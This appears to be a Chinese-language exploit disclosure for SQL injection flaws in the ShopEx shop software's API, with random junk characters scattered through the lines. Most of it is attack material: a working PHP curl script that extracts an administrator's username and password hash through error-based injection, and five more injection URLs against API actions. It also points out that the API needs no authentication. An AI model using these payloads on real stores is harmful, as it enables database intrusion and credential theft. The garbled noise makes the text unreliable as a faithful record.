|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php5 R1 C3 \" P: `% n
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
' h% v2 E8 P8 s! p/ l
3 n; P& S/ z/ ^/ b第44行 $data['columns'] 未做过滤导致注入
* P/ X4 R$ G) u! M1 T
F' j, [% m [$ v<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
n5 V* e3 i! Q+ V# h5 m5 l; r& Q+ [# ?
注射1:% a' ~1 f4 n `- [+ M
- z4 Q a# C! x7 c4 _7 @
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
* r5 p2 w+ I: Y: K7 J0 \& b2 b2 t; m$ z4 F) L0 H
注射2:, p; c4 a o7 T& x
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}' I) N' Q( w) y4 ?2 F
+ B' P6 ^7 V$ C2 a0 a* l注射3:
5 a, X% p2 c; x% p http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx _1 }% c# t0 b; Y* K' E5 n: D: z
注射4:0 `. V: I& J& q9 c; S
# s! R, S4 M7 t1 ]1 p+ b
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1. w( t- r! p2 A) _' X
+ p6 j* ~ ?" ^* A. t; j
* [1 Y7 b& [9 t1 Q( |
注射5:$ i* h L! Y- y$ ~3 M; J
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx$ D/ P9 g* c- ~8 E
( Y) P [( f9 @% {7 I$ @
7 l2 s) M9 G$ V# J3 h3 d& f2 h6 ?
; f% A0 r( m$ u+ k# E+ l: j
7 _* E- e0 b6 ^) |; N% f4 t; i$ Q
2 u) v( x5 B" e- f+ V. F2 O1 W+ J3 g$ i3 { j' `2 z/ a
|
|